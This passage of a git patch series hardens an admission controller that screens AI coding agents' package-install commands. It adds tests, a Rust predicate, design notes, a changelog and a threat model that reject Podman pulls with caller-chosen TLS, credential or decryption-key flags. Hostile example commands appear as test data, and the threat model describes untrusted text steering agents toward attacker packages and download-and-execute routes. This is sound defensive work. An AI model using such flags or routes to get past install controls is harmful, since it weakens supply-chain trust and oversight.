replace the TLS trust used for the approved registry without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry authentication part of the reviewed admission authority. +Before these repairs, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST`, `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST`, `podman pull --authfile=/agent-controlled.json IMAGE@sha256:DIGEST`, or `podman pull --creds=agent-user:secret IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken transport trust or substitute registry authentication authority without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry transport or identity part of the reviewed admission authority. ## Decision -Wardnet classifies Podman `--cert-dir` overrides and false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. +Wardnet classifies Podman `--cert-dir`, `--authfile`, and `--creds` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. Registry credentials must be supplied by the downstream execution/deployment authority through a separately governed boundary, not selected by untrusted install argv. -The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, does not select certificates itself, and does not duplicate registry transport or runtime verification logic. +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, read credential files, authenticate to a registry, or duplicate registry transport/runtime verification logic. ## Executable evidence - RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces the hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. - Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. +- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` extends the same bounded predicate to reject caller-selected registry authentication sources/principals. - Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. ## APA 7 reference -Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/stable/markdown/podman-pull.1.html From d944a30da654d8f8a7ff687d1ff6a463eb4ac67e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:40:30 +0900 Subject: [PATCH 173/247] docs(changelog): record OCI registry auth admission hardening --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2a2b9913..1fb7ccc2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,11 +8,11 @@ - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. -- Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. +- Bound Podman registry transport and authentication authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, and inline `--creds` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials remain a separately governed downstream deployment/secret authority rather than untrusted install argv. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From d7aa94fc3846e0ed189f90b5525df03d1a62e3ee Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:45:05 +0900 Subject: [PATCH 174/247] test(admission): reject caller-selected OCI decryption keys --- .../tests/oci_transport_trust_contract.rs | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index 6408b868..df14630f 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -90,6 +90,26 @@ fn podman_cannot_supply_registry_credentials_from_untrusted_argv() { ); } +#[test] +fn podman_cannot_select_an_unreviewed_image_decryption_key() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert( + 2, + "--decryption-key=/tmp/agent-controlled-key.pem:synthetic-passphrase".to_string(), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "untrusted argv must not choose secret-bearing image decryption material" + ); +} + #[test] fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { let (policy, mut intent) = approved_podman_pull(); From 261ecc20e280c3af45798cc396088260eb94ba50 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:45:16 +0900 Subject: [PATCH 175/247] fix(admission): deny caller-selected OCI decryption keys --- crates/agent-artifact-admission/src/oci_transport.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs index faa0fb37..8a88e0c5 100644 --- a/crates/agent-artifact-admission/src/oci_transport.rs +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -1,7 +1,8 @@ use crate::InstallIntent; /// Return whether a Podman pull asks the caller to replace or disable the -/// registry transport or authentication trust represented by reviewed policy. +/// registry transport, authentication, or secret-bearing decryption trust +/// represented by reviewed policy. pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -22,6 +23,8 @@ pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> || argument.starts_with("--authfile=") || argument == "--creds" || argument.starts_with("--creds=") + || argument == "--decryption-key" + || argument.starts_with("--decryption-key=") || argument .strip_prefix("--tls-verify=") .is_some_and(is_false_boolean) From 841abfd0a8494a2111afc8638ee6a863e1f75a18 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:45:45 +0900 Subject: [PATCH 176/247] docs(security): trace OCI decryption authority boundary --- docs/doctoring/oci-registry-tls-trust.md | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md index 3f72ad8e..ee041e18 100644 --- a/docs/doctoring/oci-registry-tls-trust.md +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -1,24 +1,27 @@ -# OCI registry transport and authentication trust authority +# OCI registry transport, authentication, and decryption authority -Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, or registry-principal overrides. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, registry-principal overrides, and image decryption material. It is an admission-policy control only; Wardnet does not fetch or decrypt images and does not take over hostile execution from `quarantine-sandbox-runtime`. ## Problem -An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport and authentication options that can change how that registry is reached and which principal is used. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, and `--creds=username[:password]` supplies the registry principal directly. +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport, authentication, and decryption options that can introduce additional authority. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, `--creds=username[:password]` supplies the registry principal directly, and `--decryption-key=key[:passphrase]` selects keys or certificates for image decryption and can carry a passphrase in the argument. -Before these repairs, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST`, `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST`, `podman pull --authfile=/agent-controlled.json IMAGE@sha256:DIGEST`, or `podman pull --creds=agent-user:secret IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken transport trust or substitute registry authentication authority without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry transport or identity part of the reviewed admission authority. +Before these repairs, otherwise exact structured intents could combine an approved digest with caller-selected TLS trust, registry credentials, or decryption material. Attached option forms begin with `-`, so Wardnet's artifact-operand accounting correctly ignored them as positional artifact names; without an explicit trust/secret-authority predicate, however, those options could survive exact artifact, manifest, executable, and digest checks. Digest verification downstream remains necessary, but it does not make caller-controlled transport, authentication, local key material, or passphrases part of reviewed admission authority. ## Decision -Wardnet classifies Podman `--cert-dir`, `--authfile`, and `--creds` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. Registry credentials must be supplied by the downstream execution/deployment authority through a separately governed boundary, not selected by untrusted install argv. +Wardnet classifies Podman `--cert-dir`, `--authfile`, `--creds`, and `--decryption-key` overrides plus false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken reviewed HTTPS registry trust. -The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, read credential files, authenticate to a registry, or duplicate registry transport/runtime verification logic. +Registry credentials and image-decryption secrets must be supplied by separately governed downstream execution/deployment/secret boundaries, not selected by untrusted install argv. Wardnet does not read an authfile or key, authenticate to a registry, decrypt an image, or copy secret-management/runtime behavior into the admission domain. + +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It intentionally reuses the stable `alternate_trust_root` reason because these options introduce caller-selected trust/secret authority outside the reviewed artifact contract; a future versioned domain contract may split machine-readable subcategories without weakening the fail-closed behavior. ## Executable evidence -- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces the hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. +- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. - Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. -- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` extends the same bounded predicate to reject caller-selected registry authentication sources/principals. +- Authentication-authority RED `400c53265f21d684ab06232536b50341b5d524c0` adds attached `--authfile` and `--creds` hostile cases that previously remained syntactically admissible; causal GREEN `3eade5d41c50d1ad4e48118014c50acf5d8f3793` rejects caller-selected registry authentication sources/principals. +- Decryption-authority RED `d7aa94fc3846e0ed189f90b5525df03d1a62e3ee` adds an attached secret-bearing `--decryption-key=...:passphrase` hostile case; causal GREEN `261ecc20e280c3af45798cc396088260eb94ba50` rejects caller-selected image decryption key/passphrase material at the same bounded boundary. - Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. From 32c748e346f6dbe8b67514ffeb25dd19dfdbb531 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:46:06 +0900 Subject: [PATCH 177/247] docs(changelog): record OCI decryption authority hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1fb7ccc2..e84e671b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,11 +8,11 @@ - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. -- Bound Podman registry transport and authentication authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, and inline `--creds` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials remain a separately governed downstream deployment/secret authority rather than untrusted install argv. +- Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From c2ac4c2c0128e8875d8a45c857d3d771e96ca727 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:47:52 +0900 Subject: [PATCH 178/247] docs(threat-model): bind OCI decryption and registry credential authority --- .../agent-artifact-admission-threat-model.md | 48 ++----------------- 1 file changed, 5 insertions(+), 43 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 33ed44cb..a65e43a5 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -1,42 +1,3 @@ -# Agent Artifact Admission threat model - -This document is scoped to the **Agent Artifact Admission** bounded context recorded in ADR-0012. It does not replace Wardnet's gateway threat model. The admission controller decides whether a structured package-install intent is admissible; it never installs a package or executes a command. - -## Protected assets and authority - -The protected assets are the reviewed admission policy, approved workspace-manifest digests, approved artifact coordinates and digests, the administrator credential, the minimized audit trail, and the integrity of each allow/block receipt. - -Authority is deliberately narrow. Untrusted web pages, `llms.txt`, retrieved documents, issue comments, model output, tool output, package metadata, and an artifact's mere presence in a registry are evidence inputs only. None can grant execution authority. The reviewed `AdmissionPolicy` is the local authority for v0.1. Registry identity, signing identity, transparency-log inclusion, TUF metadata, and SLSA provenance remain external authorities and must enter through explicit adapters or an Anti-Corruption Layer rather than becoming domain entities. - -## Trust boundaries - -1. An execution broker or AI coding agent submits an authenticated HTTP request to the loopback-only service. -2. The HTTP delivery adapter authenticates the request and deserializes a bounded `InstallIntent`. -3. The domain kernel validates provenance, command shape, workspace manifest, exact artifact coordinates, registry, owner and SHA-256 evidence against the immutable policy. -4. The application path builds a minimized audit fact and must durably append it before any admission response is returned. -5. A downstream execution broker may act on an `allow` receipt. Wardnet itself still does not execute the command. - -The credential file, policy/configuration file and audit file are local deployment dependencies. A future remote deployment must remain behind authenticated TLS/mTLS or an equivalent identity-aware proxy; v0.1 binds only to loopback. - -## Threats and required behavior - -| Threat | Failure mode | Required control | Failure response | -| --- | --- | --- | --- | -| Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | -| Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | -| Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | -| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL, local path, npm user/global config file, npm TLS trust override, or package-manager runtime-configuration channel so resolution or registry authentication semantics come from unreviewed authority | Reject explicit trust-root/source selectors and opaque submitted configuration channels such as npm `--userconfig`/`--globalconfig`/`--ca`/`--cafile`/`--strict-ssl` and pnpm `--config.=` before returning `allow` | `decision=block`, reason `alternate_trust_root` | -| Option-parser authority split | A required safety flag is placed after a standalone `--`, where the downstream CLI can stop interpreting subsequent tokens as options while Wardnet's naive argv scan still treats them as active controls | Reject the standalone option terminator for admitted install commands so Wardnet and the execution broker cannot disagree about which tokens have option semantics | `decision=block`, reason `forbidden_command` | -| pnpmfile hook execution | A reviewed pnpm artifact command includes `--ignore-scripts`, but pnpm still loads local `.pnpmfile.mjs`/`.pnpmfile.cjs` hooks that can run code and alter config, resolution or fetch behavior | Require both unambiguous `--ignore-scripts` and `--ignore-pnpmfile` on admitted pnpm installs; contradictory/assigned Boolean forms do not satisfy the safety contract | `decision=block`, reason `missing_safety_flag` | -| Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | -| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | -| Unbound Cargo build variant | An approved Cargo package digest is installed with caller-selected features, binary/example target, compilation target or profile, producing an execution payload that the approved artifact coordinate does not describe | Until build-variant authority is explicitly versioned in the artifact contract, reject Cargo `-F`/`--features`, `--all-features`, `--no-default-features`, `--bin`/`--bins`, `--example`/`--examples`, `--target`, `--debug` and `--profile` selectors | `decision=block`, reason `artifact_not_approved` | -| Workspace-scope expansion | An approved package install adds workspace/project selectors so the command operates in caller-selected projects instead of the broker-selected workspace | Reject submitted npm workspace selectors and pnpm working-directory/filter/recursive/workspace-root selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | -| Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | -| Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | -| Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | -| Audit suppression | Allow response is returned without durable evidence | Audit append is ordered before response | `503`, `decision=block`, reason `audit_unavailable` | -| Audit data exfiltration | Raw command text, token or unbounded source material leaks to logs | Audit only normalized source URI, command hash, artifact coordinates, decision and reason codes | Fail closed if a valid minimized audit record cannot be built | | Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | | Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | | Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | @@ -45,7 +6,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, or executable pnpmfile hook, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -55,11 +16,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. ## Primary references @@ -73,9 +34,10 @@ SHA-256 equality proves byte identity only when the execution path independently - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). 